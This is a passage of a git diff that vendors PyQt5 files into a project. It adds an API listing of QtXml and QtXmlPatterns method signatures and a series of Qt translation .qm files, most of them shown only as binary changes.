+QtXml.QXmlSimpleReader.feature?4(QString) -> (bool, bool) +QtXml.QXmlSimpleReader.setFeature?4(QString, bool) +QtXml.QXmlSimpleReader.hasFeature?4(QString) -> bool +QtXml.QXmlSimpleReader.property?4(QString) -> (sip.voidptr, bool) +QtXml.QXmlSimpleReader.setProperty?4(QString, sip.voidptr) +QtXml.QXmlSimpleReader.hasProperty?4(QString) -> bool +QtXml.QXmlSimpleReader.setEntityResolver?4(QXmlEntityResolver) +QtXml.QXmlSimpleReader.entityResolver?4() -> QXmlEntityResolver +QtXml.QXmlSimpleReader.setDTDHandler?4(QXmlDTDHandler) +QtXml.QXmlSimpleReader.DTDHandler?4() -> QXmlDTDHandler +QtXml.QXmlSimpleReader.setContentHandler?4(QXmlContentHandler) +QtXml.QXmlSimpleReader.contentHandler?4() -> QXmlContentHandler +QtXml.QXmlSimpleReader.setErrorHandler?4(QXmlErrorHandler) +QtXml.QXmlSimpleReader.errorHandler?4() -> QXmlErrorHandler +QtXml.QXmlSimpleReader.setLexicalHandler?4(QXmlLexicalHandler) +QtXml.QXmlSimpleReader.lexicalHandler?4() -> QXmlLexicalHandler +QtXml.QXmlSimpleReader.setDeclHandler?4(QXmlDeclHandler) +QtXml.QXmlSimpleReader.declHandler?4() -> QXmlDeclHandler +QtXml.QXmlSimpleReader.parse?4(QXmlInputSource) -> bool +QtXml.QXmlSimpleReader.parse?4(QXmlInputSource, bool) -> bool +QtXml.QXmlSimpleReader.parseContinue?4() -> bool +QtXml.QXmlLocator?1() +QtXml.QXmlLocator.__init__?1(self) +QtXml.QXmlLocator?1(QXmlLocator) +QtXml.QXmlLocator.__init__?1(self, QXmlLocator) +QtXml.QXmlLocator.columnNumber?4() -> int +QtXml.QXmlLocator.lineNumber?4() -> int +QtXml.QXmlContentHandler?1() +QtXml.QXmlContentHandler.__init__?1(self) +QtXml.QXmlContentHandler?1(QXmlContentHandler) +QtXml.QXmlContentHandler.__init__?1(self, QXmlContentHandler) +QtXml.QXmlContentHandler.setDocumentLocator?4(QXmlLocator) +QtXml.QXmlContentHandler.startDocument?4() -> bool +QtXml.QXmlContentHandler.endDocument?4() -> bool +QtXml.QXmlContentHandler.startPrefixMapping?4(QString, QString) -> bool +QtXml.QXmlContentHandler.endPrefixMapping?4(QString) -> bool +QtXml.QXmlContentHandler.startElement?4(QString, QString, QString, QXmlAttributes) -> bool +QtXml.QXmlContentHandler.endElement?4(QString, QString, QString) -> bool +QtXml.QXmlContentHandler.characters?4(QString) -> bool +QtXml.QXmlContentHandler.ignorableWhitespace?4(QString) -> bool +QtXml.QXmlContentHandler.processingInstruction?4(QString, QString) -> bool +QtXml.QXmlContentHandler.skippedEntity?4(QString) -> bool +QtXml.QXmlContentHandler.errorString?4() -> QString +QtXml.QXmlErrorHandler?1() +QtXml.QXmlErrorHandler.__init__?1(self) +QtXml.QXmlErrorHandler?1(QXmlErrorHandler) +QtXml.QXmlErrorHandler.__init__?1(self, QXmlErrorHandler) +QtXml.QXmlErrorHandler.warning?4(QXmlParseException) -> bool +QtXml.QXmlErrorHandler.error?4(QXmlParseException) -> bool +QtXml.QXmlErrorHandler.fatalError?4(QXmlParseException) -> bool +QtXml.QXmlErrorHandler.errorString?4() -> QString +QtXml.QXmlDTDHandler?1() +QtXml.QXmlDTDHandler.__init__?1(self) +QtXml.QXmlDTDHandler?1(QXmlDTDHandler) +QtXml.QXmlDTDHandler.__init__?1(self, QXmlDTDHandler) +QtXml.QXmlDTDHandler.notationDecl?4(QString, QString, QString) -> bool +QtXml.QXmlDTDHandler.unparsedEntityDecl?4(QString, QString, QString, QString) -> bool +QtXml.QXmlDTDHandler.errorString?4() -> QString +QtXml.QXmlEntityResolver?1() +QtXml.QXmlEntityResolver.__init__?1(self) +QtXml.QXmlEntityResolver?1(QXmlEntityResolver) +QtXml.QXmlEntityResolver.__init__?1(self, QXmlEntityResolver) +QtXml.QXmlEntityResolver.resolveEntity?4(QString, QString) -> (bool, QXmlInputSource) +QtXml.QXmlEntityResolver.errorString?4() -> QString +QtXml.QXmlLexicalHandler?1() +QtXml.QXmlLexicalHandler.__init__?1(self) +QtXml.QXmlLexicalHandler?1(QXmlLexicalHandler) +QtXml.QXmlLexicalHandler.__init__?1(self, QXmlLexicalHandler) +QtXml.QXmlLexicalHandler.startDTD?4(QString, QString, QString) -> bool +QtXml.QXmlLexicalHandler.endDTD?4() -> bool +QtXml.QXmlLexicalHandler.startEntity?4(QString) -> bool +QtXml.QXmlLexicalHandler.endEntity?4(QString) -> bool +QtXml.QXmlLexicalHandler.startCDATA?4() -> bool +QtXml.QXmlLexicalHandler.endCDATA?4() -> bool +QtXml.QXmlLexicalHandler.comment?4(QString) -> bool +QtXml.QXmlLexicalHandler.errorString?4() -> QString +QtXml.QXmlDeclHandler?1() +QtXml.QXmlDeclHandler.__init__?1(self) +QtXml.QXmlDeclHandler?1(QXmlDeclHandler) +QtXml.QXmlDeclHandler.__init__?1(self, QXmlDeclHandler) +QtXml.QXmlDeclHandler.attributeDecl?4(QString, QString, QString, QString, QString) -> bool +QtXml.QXmlDeclHandler.internalEntityDecl?4(QString, QString) -> bool +QtXml.QXmlDeclHandler.externalEntityDecl?4(QString, QString, QString) -> bool +QtXml.QXmlDeclHandler.errorString?4() -> QString +QtXml.QXmlDefaultHandler?1() +QtXml.QXmlDefaultHandler.__init__?1(self) +QtXml.QXmlDefaultHandler.setDocumentLocator?4(QXmlLocator) +QtXml.QXmlDefaultHandler.startDocument?4() -> bool +QtXml.QXmlDefaultHandler.endDocument?4() -> bool +QtXml.QXmlDefaultHandler.startPrefixMapping?4(QString, QString) -> bool +QtXml.QXmlDefaultHandler.endPrefixMapping?4(QString) -> bool +QtXml.QXmlDefaultHandler.startElement?4(QString, QString, QString, QXmlAttributes) -> bool +QtXml.QXmlDefaultHandler.endElement?4(QString, QString, QString) -> bool +QtXml.QXmlDefaultHandler.characters?4(QString) -> bool +QtXml.QXmlDefaultHandler.ignorableWhitespace?4(QString) -> bool +QtXml.QXmlDefaultHandler.processingInstruction?4(QString, QString) -> bool +QtXml.QXmlDefaultHandler.skippedEntity?4(QString) -> bool +QtXml.QXmlDefaultHandler.warning?4(QXmlParseException) -> bool +QtXml.QXmlDefaultHandler.error?4(QXmlParseException) -> bool +QtXml.QXmlDefaultHandler.fatalError?4(QXmlParseException) -> bool +QtXml.QXmlDefaultHandler.notationDecl?4(QString, QString, QString) -> bool +QtXml.QXmlDefaultHandler.unparsedEntityDecl?4(QString, QString, QString, QString) -> bool +QtXml.QXmlDefaultHandler.resolveEntity?4(QString, QString) -> (bool, QXmlInputSource) +QtXml.QXmlDefaultHandler.startDTD?4(QString, QString, QString) -> bool +QtXml.QXmlDefaultHandler.endDTD?4() -> bool +QtXml.QXmlDefaultHandler.startEntity?4(QString) -> bool +QtXml.QXmlDefaultHandler.endEntity?4(QString) -> bool +QtXml.QXmlDefaultHandler.startCDATA?4() -> bool +QtXml.QXmlDefaultHandler.endCDATA?4() -> bool +QtXml.QXmlDefaultHandler.comment?4(QString) -> bool +QtXml.QXmlDefaultHandler.attributeDecl?4(QString, QString, QString, QString, QString) -> bool +QtXml.QXmlDefaultHandler.internalEntityDecl?4(QString, QString) -> bool +QtXml.QXmlDefaultHandler.externalEntityDecl?4(QString, QString, QString) -> bool +QtXml.QXmlDefaultHandler.errorString?4() -> QString +QtXmlPatterns.QAbstractMessageHandler?1(QObject parent=None) +QtXmlPatterns.QAbstractMessageHandler.__init__?1(self, QObject parent=None) +QtXmlPatterns.QAbstractMessageHandler.message?4(QtMsgType, QString, QUrl identifier=QUrl(), QSourceLocation sourceLocation=QSourceLocation()) +QtXmlPatterns.QAbstractMessageHandler.handleMessage?4(QtMsgType, QString, QUrl, QSourceLocation) +QtXmlPatterns.QAbstractUriResolver?1(QObject parent=None) +QtXmlPatterns.QAbstractUriResolver.__init__?1(self, QObject parent=None) +QtXmlPatterns.QAbstractUriResolver.resolve?4(QUrl, QUrl) -> QUrl +QtXmlPatterns.QXmlNodeModelIndex.DocumentOrder?10 +QtXmlPatterns.QXmlNodeModelIndex.DocumentOrder.Precedes?10 +QtXmlPatterns.QXmlNodeModelIndex.DocumentOrder.Is?10 +QtXmlPatterns.QXmlNodeModelIndex.DocumentOrder.Follows?10 +QtXmlPatterns.QXmlNodeModelIndex.NodeKind?10 +QtXmlPatterns.QXmlNodeModelIndex.NodeKind.Attribute?10 +QtXmlPatterns.QXmlNodeModelIndex.NodeKind.Comment?10 +QtXmlPatterns.QXmlNodeModelIndex.NodeKind.Document?10 +QtXmlPatterns.QXmlNodeModelIndex.NodeKind.Element?10 +QtXmlPatterns.QXmlNodeModelIndex.NodeKind.Namespace?10 +QtXmlPatterns.QXmlNodeModelIndex.NodeKind.ProcessingInstruction?10 +QtXmlPatterns.QXmlNodeModelIndex.NodeKind.Text?10 +QtXmlPatterns.QXmlNodeModelIndex?1() +QtXmlPatterns.QXmlNodeModelIndex.__init__?1(self) +QtXmlPatterns.QXmlNodeModelIndex?1(QXmlNodeModelIndex) +QtXmlPatterns.QXmlNodeModelIndex.__init__?1(self, QXmlNodeModelIndex) +QtXmlPatterns.QXmlNodeModelIndex.data?4() -> int +QtXmlPatterns.QXmlNodeModelIndex.internalPointer?4() -> object +QtXmlPatterns.QXmlNodeModelIndex.model?4() -> QAbstractXmlNodeModel +QtXmlPatterns.QXmlNodeModelIndex.additionalData?4() -> int +QtXmlPatterns.QXmlNodeModelIndex.isNull?4() -> bool +QtXmlPatterns.QAbstractXmlNodeModel.SimpleAxis?10 +QtXmlPatterns.QAbstractXmlNodeModel.SimpleAxis.Parent?10 +QtXmlPatterns.QAbstractXmlNodeModel.SimpleAxis.FirstChild?10 +QtXmlPatterns.QAbstractXmlNodeModel.SimpleAxis.PreviousSibling?10 +QtXmlPatterns.QAbstractXmlNodeModel.SimpleAxis.NextSibling?10 +QtXmlPatterns.QAbstractXmlNodeModel?1() +QtXmlPatterns.QAbstractXmlNodeModel.__init__?1(self) +QtXmlPatterns.QAbstractXmlNodeModel.baseUri?4(QXmlNodeModelIndex) -> QUrl +QtXmlPatterns.QAbstractXmlNodeModel.documentUri?4(QXmlNodeModelIndex) -> QUrl +QtXmlPatterns.QAbstractXmlNodeModel.kind?4(QXmlNodeModelIndex) -> QXmlNodeModelIndex.NodeKind +QtXmlPatterns.QAbstractXmlNodeModel.compareOrder?4(QXmlNodeModelIndex, QXmlNodeModelIndex) -> QXmlNodeModelIndex.DocumentOrder +QtXmlPatterns.QAbstractXmlNodeModel.root?4(QXmlNodeModelIndex) -> QXmlNodeModelIndex +QtXmlPatterns.QAbstractXmlNodeModel.name?4(QXmlNodeModelIndex) -> QXmlName +QtXmlPatterns.QAbstractXmlNodeModel.stringValue?4(QXmlNodeModelIndex) -> QString +QtXmlPatterns.QAbstractXmlNodeModel.typedValue?4(QXmlNodeModelIndex) -> QVariant +QtXmlPatterns.QAbstractXmlNodeModel.namespaceBindings?4(QXmlNodeModelIndex) -> unknown-type +QtXmlPatterns.QAbstractXmlNodeModel.elementById?4(QXmlName) -> QXmlNodeModelIndex +QtXmlPatterns.QAbstractXmlNodeModel.nodesByIdref?4(QXmlName) -> unknown-type +QtXmlPatterns.QAbstractXmlNodeModel.sourceLocation?4(QXmlNodeModelIndex) -> QSourceLocation +QtXmlPatterns.QAbstractXmlNodeModel.nextFromSimpleAxis?4(QAbstractXmlNodeModel.SimpleAxis, QXmlNodeModelIndex) -> QXmlNodeModelIndex +QtXmlPatterns.QAbstractXmlNodeModel.attributes?4(QXmlNodeModelIndex) -> unknown-type +QtXmlPatterns.QAbstractXmlNodeModel.createIndex?4(int) -> QXmlNodeModelIndex +QtXmlPatterns.QAbstractXmlNodeModel.createIndex?4(int, int) -> QXmlNodeModelIndex +QtXmlPatterns.QAbstractXmlNodeModel.createIndex?4(object, int additionalData=0) -> QXmlNodeModelIndex +QtXmlPatterns.QXmlItem?1() +QtXmlPatterns.QXmlItem.__init__?1(self) +QtXmlPatterns.QXmlItem?1(QXmlItem) +QtXmlPatterns.QXmlItem.__init__?1(self, QXmlItem) +QtXmlPatterns.QXmlItem?1(QXmlNodeModelIndex) +QtXmlPatterns.QXmlItem.__init__?1(self, QXmlNodeModelIndex) +QtXmlPatterns.QXmlItem?1(QVariant) +QtXmlPatterns.QXmlItem.__init__?1(self, QVariant) +QtXmlPatterns.QXmlItem.isNull?4() -> bool +QtXmlPatterns.QXmlItem.isNode?4() -> bool +QtXmlPatterns.QXmlItem.isAtomicValue?4() -> bool +QtXmlPatterns.QXmlItem.toAtomicValue?4() -> QVariant +QtXmlPatterns.QXmlItem.toNodeModelIndex?4() -> QXmlNodeModelIndex +QtXmlPatterns.QAbstractXmlReceiver?1() +QtXmlPatterns.QAbstractXmlReceiver.__init__?1(self) +QtXmlPatterns.QAbstractXmlReceiver.startElement?4(QXmlName) +QtXmlPatterns.QAbstractXmlReceiver.endElement?4() +QtXmlPatterns.QAbstractXmlReceiver.attribute?4(QXmlName, QStringRef) +QtXmlPatterns.QAbstractXmlReceiver.comment?4(QString) +QtXmlPatterns.QAbstractXmlReceiver.characters?4(QStringRef) +QtXmlPatterns.QAbstractXmlReceiver.startDocument?4() +QtXmlPatterns.QAbstractXmlReceiver.endDocument?4() +QtXmlPatterns.QAbstractXmlReceiver.processingInstruction?4(QXmlName, QString) +QtXmlPatterns.QAbstractXmlReceiver.atomicValue?4(QVariant) +QtXmlPatterns.QAbstractXmlReceiver.namespaceBinding?4(QXmlName) +QtXmlPatterns.QAbstractXmlReceiver.startOfSequence?4() +QtXmlPatterns.QAbstractXmlReceiver.endOfSequence?4() +QtXmlPatterns.QSimpleXmlNodeModel?1(QXmlNamePool) +QtXmlPatterns.QSimpleXmlNodeModel.__init__?1(self, QXmlNamePool) +QtXmlPatterns.QSimpleXmlNodeModel.baseUri?4(QXmlNodeModelIndex) -> QUrl +QtXmlPatterns.QSimpleXmlNodeModel.namePool?4() -> QXmlNamePool +QtXmlPatterns.QSimpleXmlNodeModel.namespaceBindings?4(QXmlNodeModelIndex) -> unknown-type +QtXmlPatterns.QSimpleXmlNodeModel.stringValue?4(QXmlNodeModelIndex) -> QString +QtXmlPatterns.QSimpleXmlNodeModel.elementById?4(QXmlName) -> QXmlNodeModelIndex +QtXmlPatterns.QSimpleXmlNodeModel.nodesByIdref?4(QXmlName) -> unknown-type +QtXmlPatterns.QSourceLocation?1() +QtXmlPatterns.QSourceLocation.__init__?1(self) +QtXmlPatterns.QSourceLocation?1(QSourceLocation) +QtXmlPatterns.QSourceLocation.__init__?1(self, QSourceLocation) +QtXmlPatterns.QSourceLocation?1(QUrl, int line=-1, int column=-1) +QtXmlPatterns.QSourceLocation.__init__?1(self, QUrl, int line=-1, int column=-1) +QtXmlPatterns.QSourceLocation.column?4() -> int +QtXmlPatterns.QSourceLocation.setColumn?4(int) +QtXmlPatterns.QSourceLocation.line?4() -> int +QtXmlPatterns.QSourceLocation.setLine?4(int) +QtXmlPatterns.QSourceLocation.uri?4() -> QUrl +QtXmlPatterns.QSourceLocation.setUri?4(QUrl) +QtXmlPatterns.QSourceLocation.isNull?4() -> bool +QtXmlPatterns.QXmlSerializer?1(QXmlQuery, QIODevice) +QtXmlPatterns.QXmlSerializer.__init__?1(self, QXmlQuery, QIODevice) +QtXmlPatterns.QXmlSerializer.namespaceBinding?4(QXmlName) +QtXmlPatterns.QXmlSerializer.characters?4(QStringRef) +QtXmlPatterns.QXmlSerializer.comment?4(QString) +QtXmlPatterns.QXmlSerializer.startElement?4(QXmlName) +QtXmlPatterns.QXmlSerializer.endElement?4() +QtXmlPatterns.QXmlSerializer.attribute?4(QXmlName, QStringRef) +QtXmlPatterns.QXmlSerializer.processingInstruction?4(QXmlName, QString) +QtXmlPatterns.QXmlSerializer.atomicValue?4(QVariant) +QtXmlPatterns.QXmlSerializer.startDocument?4() +QtXmlPatterns.QXmlSerializer.endDocument?4() +QtXmlPatterns.QXmlSerializer.startOfSequence?4() +QtXmlPatterns.QXmlSerializer.endOfSequence?4() +QtXmlPatterns.QXmlSerializer.outputDevice?4() -> QIODevice +QtXmlPatterns.QXmlSerializer.setCodec?4(QTextCodec) +QtXmlPatterns.QXmlSerializer.codec?4() -> QTextCodec +QtXmlPatterns.QXmlFormatter?1(QXmlQuery, QIODevice) +QtXmlPatterns.QXmlFormatter.__init__?1(self, QXmlQuery, QIODevice) +QtXmlPatterns.QXmlFormatter.characters?4(QStringRef) +QtXmlPatterns.QXmlFormatter.comment?4(QString) +QtXmlPatterns.QXmlFormatter.startElement?4(QXmlName) +QtXmlPatterns.QXmlFormatter.endElement?4() +QtXmlPatterns.QXmlFormatter.attribute?4(QXmlName, QStringRef) +QtXmlPatterns.QXmlFormatter.processingInstruction?4(QXmlName, QString) +QtXmlPatterns.QXmlFormatter.atomicValue?4(QVariant) +QtXmlPatterns.QXmlFormatter.startDocument?4() +QtXmlPatterns.QXmlFormatter.endDocument?4() +QtXmlPatterns.QXmlFormatter.startOfSequence?4() +QtXmlPatterns.QXmlFormatter.endOfSequence?4() +QtXmlPatterns.QXmlFormatter.indentationDepth?4() -> int +QtXmlPatterns.QXmlFormatter.setIndentationDepth?4(int) +QtXmlPatterns.QXmlName?1() +QtXmlPatterns.QXmlName.__init__?1(self) +QtXmlPatterns.QXmlName?1(QXmlNamePool, QString, QString namespaceUri='', QString prefix='') +QtXmlPatterns.QXmlName.__init__?1(self, QXmlNamePool, QString, QString namespaceUri='', QString prefix='') +QtXmlPatterns.QXmlName?1(QXmlName) +QtXmlPatterns.QXmlName.__init__?1(self, QXmlName) +QtXmlPatterns.QXmlName.namespaceUri?4(QXmlNamePool) -> QString +QtXmlPatterns.QXmlName.prefix?4(QXmlNamePool) -> QString +QtXmlPatterns.QXmlName.localName?4(QXmlNamePool) -> QString +QtXmlPatterns.QXmlName.toClarkName?4(QXmlNamePool) -> QString +QtXmlPatterns.QXmlName.isNull?4() -> bool +QtXmlPatterns.QXmlName.isNCName?4(QString) -> bool +QtXmlPatterns.QXmlName.fromClarkName?4(QString, QXmlNamePool) -> QXmlName +QtXmlPatterns.QXmlNamePool?1() +QtXmlPatterns.QXmlNamePool.__init__?1(self) +QtXmlPatterns.QXmlNamePool?1(QXmlNamePool) +QtXmlPatterns.QXmlNamePool.__init__?1(self, QXmlNamePool) +QtXmlPatterns.QXmlQuery.QueryLanguage?10 +QtXmlPatterns.QXmlQuery.QueryLanguage.XQuery10?10 +QtXmlPatterns.QXmlQuery.QueryLanguage.XSLT20?10 +QtXmlPatterns.QXmlQuery?1() +QtXmlPatterns.QXmlQuery.__init__?1(self) +QtXmlPatterns.QXmlQuery?1(QXmlQuery) +QtXmlPatterns.QXmlQuery.__init__?1(self, QXmlQuery) +QtXmlPatterns.QXmlQuery?1(QXmlNamePool) +QtXmlPatterns.QXmlQuery.__init__?1(self, QXmlNamePool) +QtXmlPatterns.QXmlQuery?1(QXmlQuery.QueryLanguage, QXmlNamePool pool=QXmlNamePool()) +QtXmlPatterns.QXmlQuery.__init__?1(self, QXmlQuery.QueryLanguage, QXmlNamePool pool=QXmlNamePool()) +QtXmlPatterns.QXmlQuery.setMessageHandler?4(QAbstractMessageHandler) +QtXmlPatterns.QXmlQuery.messageHandler?4() -> QAbstractMessageHandler +QtXmlPatterns.QXmlQuery.setQuery?4(QString, QUrl documentUri=QUrl()) +QtXmlPatterns.QXmlQuery.setQuery?4(QIODevice, QUrl documentUri=QUrl()) +QtXmlPatterns.QXmlQuery.setQuery?4(QUrl, QUrl baseUri=QUrl()) +QtXmlPatterns.QXmlQuery.namePool?4() -> QXmlNamePool +QtXmlPatterns.QXmlQuery.bindVariable?4(QXmlName, QXmlItem) +QtXmlPatterns.QXmlQuery.bindVariable?4(QXmlName, QIODevice) +QtXmlPatterns.QXmlQuery.bindVariable?4(QXmlName, QXmlQuery) +QtXmlPatterns.QXmlQuery.bindVariable?4(QString, QXmlItem) +QtXmlPatterns.QXmlQuery.bindVariable?4(QString, QIODevice) +QtXmlPatterns.QXmlQuery.bindVariable?4(QString, QXmlQuery) +QtXmlPatterns.QXmlQuery.isValid?4() -> bool +QtXmlPatterns.QXmlQuery.evaluateTo?4(QXmlResultItems) +QtXmlPatterns.QXmlQuery.evaluateTo?4(QAbstractXmlReceiver) -> bool +QtXmlPatterns.QXmlQuery.evaluateToStringList?4() -> object +QtXmlPatterns.QXmlQuery.evaluateTo?4(QIODevice) -> bool +QtXmlPatterns.QXmlQuery.evaluateToString?4() -> object +QtXmlPatterns.QXmlQuery.setUriResolver?4(QAbstractUriResolver) +QtXmlPatterns.QXmlQuery.uriResolver?4() -> QAbstractUriResolver +QtXmlPatterns.QXmlQuery.setFocus?4(QXmlItem) +QtXmlPatterns.QXmlQuery.setFocus?4(QUrl) -> bool +QtXmlPatterns.QXmlQuery.setFocus?4(QIODevice) -> bool +QtXmlPatterns.QXmlQuery.setFocus?4(QString) -> bool +QtXmlPatterns.QXmlQuery.setInitialTemplateName?4(QXmlName) +QtXmlPatterns.QXmlQuery.setInitialTemplateName?4(QString) +QtXmlPatterns.QXmlQuery.initialTemplateName?4() -> QXmlName +QtXmlPatterns.QXmlQuery.setNetworkAccessManager?4(QNetworkAccessManager) +QtXmlPatterns.QXmlQuery.networkAccessManager?4() -> QNetworkAccessManager +QtXmlPatterns.QXmlQuery.queryLanguage?4() -> QXmlQuery.QueryLanguage +QtXmlPatterns.QXmlResultItems?1() +QtXmlPatterns.QXmlResultItems.__init__?1(self) +QtXmlPatterns.QXmlResultItems.hasError?4() -> bool +QtXmlPatterns.QXmlResultItems.next?4() -> QXmlItem +QtXmlPatterns.QXmlResultItems.current?4() -> QXmlItem +QtXmlPatterns.QXmlSchema?1() +QtXmlPatterns.QXmlSchema.__init__?1(self) +QtXmlPatterns.QXmlSchema?1(QXmlSchema) +QtXmlPatterns.QXmlSchema.__init__?1(self, QXmlSchema) +QtXmlPatterns.QXmlSchema.load?4(QUrl) -> bool +QtXmlPatterns.QXmlSchema.load?4(QIODevice, QUrl documentUri=QUrl()) -> bool +QtXmlPatterns.QXmlSchema.load?4(QByteArray, QUrl documentUri=QUrl()) -> bool +QtXmlPatterns.QXmlSchema.isValid?4() -> bool +QtXmlPatterns.QXmlSchema.namePool?4() -> QXmlNamePool +QtXmlPatterns.QXmlSchema.documentUri?4() -> QUrl +QtXmlPatterns.QXmlSchema.setMessageHandler?4(QAbstractMessageHandler) +QtXmlPatterns.QXmlSchema.messageHandler?4() -> QAbstractMessageHandler +QtXmlPatterns.QXmlSchema.setUriResolver?4(QAbstractUriResolver) +QtXmlPatterns.QXmlSchema.uriResolver?4() -> QAbstractUriResolver +QtXmlPatterns.QXmlSchema.setNetworkAccessManager?4(QNetworkAccessManager) +QtXmlPatterns.QXmlSchema.networkAccessManager?4() -> QNetworkAccessManager +QtXmlPatterns.QXmlSchemaValidator?1() +QtXmlPatterns.QXmlSchemaValidator.__init__?1(self) +QtXmlPatterns.QXmlSchemaValidator?1(QXmlSchema) +QtXmlPatterns.QXmlSchemaValidator.__init__?1(self, QXmlSchema) +QtXmlPatterns.QXmlSchemaValidator.setSchema?4(QXmlSchema) +QtXmlPatterns.QXmlSchemaValidator.validate?4(QUrl) -> bool +QtXmlPatterns.QXmlSchemaValidator.validate?4(QIODevice, QUrl documentUri=QUrl()) -> bool +QtXmlPatterns.QXmlSchemaValidator.validate?4(QByteArray, QUrl documentUri=QUrl()) -> bool +QtXmlPatterns.QXmlSchemaValidator.namePool?4() -> QXmlNamePool +QtXmlPatterns.QXmlSchemaValidator.schema?4() -> QXmlSchema +QtXmlPatterns.QXmlSchemaValidator.setMessageHandler?4(QAbstractMessageHandler) +QtXmlPatterns.QXmlSchemaValidator.messageHandler?4() -> QAbstractMessageHandler +QtXmlPatterns.QXmlSchemaValidator.setUriResolver?4(QAbstractUriResolver) +QtXmlPatterns.QXmlSchemaValidator.uriResolver?4() -> QAbstractUriResolver +QtXmlPatterns.QXmlSchemaValidator.setNetworkAccessManager?4(QNetworkAccessManager) +QtXmlPatterns.QXmlSchemaValidator.networkAccessManager?4() -> QNetworkAccessManager diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_ar.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_ar.qm new file mode 100644 index 00000000..33eda481 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_ar.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_bg.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_bg.qm new file mode 100644 index 00000000..ad48af72 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_bg.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_ca.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_ca.qm new file mode 100644 index 00000000..ae864657 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_ca.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_cs.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_cs.qm new file mode 100644 index 00000000..40aec718 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_cs.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_da.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_da.qm new file mode 100644 index 00000000..eefbe648 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_da.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_de.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_de.qm new file mode 100644 index 00000000..2e94a253 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_de.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_en.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_en.qm new file mode 100644 index 00000000..be651eed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_en.qm @@ -0,0 +1 @@ +<¸dÊÍ!¿`¡½Ý \ No newline at end of file diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_es.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_es.qm new file mode 100644 index 00000000..6957a6ba Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_es.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_fa.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_fa.qm new file mode 100644 index 00000000..15ef2b54 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_fa.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_fi.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_fi.qm new file mode 100644 index 00000000..72518587 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_fi.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_fr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_fr.qm new file mode 100644 index 00000000..151e4d49 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_fr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_gd.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_gd.qm new file mode 100644 index 00000000..7b4d0407 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_gd.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_gl.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_gl.qm new file mode 100644 index 00000000..52557340 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_gl.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_he.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_he.qm new file mode 100644 index 00000000..bdcc6cef Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_he.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_ar.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_ar.qm new file mode 100644 index 00000000..aa92f02b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_ar.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_bg.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_bg.qm new file mode 100644 index 00000000..c65d2600 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_bg.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_ca.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_ca.qm new file mode 100644 index 00000000..64ba0a55 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_ca.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_cs.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_cs.qm new file mode 100644 index 00000000..fd50d843 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_cs.qm differ diff --git 